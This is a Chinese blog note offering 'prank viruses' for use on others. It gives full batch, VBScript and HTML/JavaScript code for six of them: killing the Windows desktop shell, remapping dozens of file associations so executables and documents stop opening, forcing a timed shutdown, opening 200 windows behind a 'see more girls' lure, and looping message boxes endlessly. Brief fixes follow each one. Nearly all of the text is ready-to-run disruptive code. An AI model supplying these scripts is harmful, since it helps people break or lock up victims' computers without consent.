整蛊小病毒,自己拿来快乐

今天刚学了关于网络安全的东西,稍微学了点小的东西,来做个笔记。

自己玩的话,最后在虚拟机上玩!!

现在我来列举一下一些整蛊的小病毒(直接把代码丢在记事本内,把后缀改为.bat):

  1. 让桌面消失的病毒

@echo off

taskkill /im explorer.exe /f

(解决方法:重启)

  1. 所有文件失效病毒

@echo off

assoc .txt=exefile

assoc .exe=txtfile

assoc .htm=exefile

assoc .html=exefile

assoc .com=txtfile

assoc .gho=txtfile

assoc .rar=txtfile

assoc .zip=txtfile

assoc .chm=txtfile

assoc .jpg=txtfile

assoc .doc=exefile

assoc .ppt=txtfile

assoc .vbs=txtfile

assoc .cmd=txtfile

assoc .bmp=txtfile

assoc .gif=txtfile

assoc .ico=txtfile

assoc .png=txtfile

assoc .jpeg=txtfile

assoc .jpe=txtfile

assoc .jfif=txtfile

assoc .fla=txtfile

assoc .swf=txtfile

assoc .avi=txtfile

assoc .mov=txtfile

assoc .asf=txtfile

assoc .wmv=txtfile

assoc .rm=txtfile

assoc .ra=txtfile

解决办法(assoc .ra=rafile)都改成这个格式就好

  1. 定时关机

shutdown -s -t 600

  1. 无限弹窗:

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>老子最帅</title>

</head>

<body>

<script language="JavaScript">

<!---hide---

function pop(){

            for(i=1;i<=200;i++){

                 window.open('#.htm','','width=800,height=600','status=off','location=off','toolbar=off','scrollbars=off')}}

//--->

</script>

<form name="form">

  <p align="center">

    <input type="button" value="把鼠标放在这里能看到更多美眉哦!~" onmouseover="pop()" name="button" class="unnamed1">

  </p>

</form>

<img src=1.jpg>

</body>

</html>

解决办法(用任务管理器关掉进程就好)

  1. 整人网页:

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>很恶心的常见整人效果的代码</title>

</head>

<body>

<a href="" onMouseover="alert('为什么把鼠标放到这里?');

alert('我不是说过不可以这样吗?');

alert('宇哥现在真的很生气');

alert('一点也不给宇哥面子');

alert('你把宇哥的话当什么了?');

alert('你知道错了吗?');

alert('什么?你居然....');

alert('居然还没意识到自己做错了?');

alert('那好,你要为此付出代价!');

alert('我要你在这里点足一千下......');

alert('然后再蹲在墙角唱“宇哥,就这样被你征服......');

alert('什么?你开始有点后悔了?');

alert('何必呢?');

alert('你当初不是很牛嘛?');

alert('再爷们点啊');

alert('好从现在开始再点995下......');

alert('你的手开始累了吗?');

alert('什么?你已经没力气了?');

alert('你一直在求我原谅你啊!');

alert('磕什么头啊');

alert('别哭了,看来你是真的知道错了!');

alert('也是宇哥今天心情好,别跪着了,起来吧');

alert('下次你还会这么做吗?');

alert('真的不会了?');

alert('那好,今天就放你一马!');

alert('写封信给我说声对不起吧!');

alert('你能这么做我很欣慰!!!');

document.bgColor='black';

document.fgColor='White';

window.location.href='mailto:qiaoyuxzt@126.com?subject=宇哥,真的对不起,下次绝对不敢了!';">不许把鼠标移到这里</a>

嘻试吧爽噢。。

</body>

</html>

       解决方法(任务管理器关掉进程就好)

  1. 弹窗整蛊(后缀改成.vbs)

do

msgbox "帮主最帅"

msgbox "小子,你对这件事有异议吗"

msgbox "你要为此付出代价"

msgbox "从现在开始我要求你点100下鼠标"

msgbox "100"

msgbox "99"

msgbox "98"

msgbox "97"

msgbox "96"

msgbox "95"

msgbox "94"

msgbox "93"

msgbox "92"

msgbox "91"

msgbox "90"

msgbox "……"

msgbox "3"

msgbox "2"

msgbox "1"

msgbox "如果看到这里,说明你确实很执着,你感动了我,请再点一下"

msgbox "年轻人,有时候执着也没用,换个姿势再来一次"

loop

解决方法(任务管理器关进程)

原文地址:https://www.cnblogs.com/printwangzhe/p/10952796.html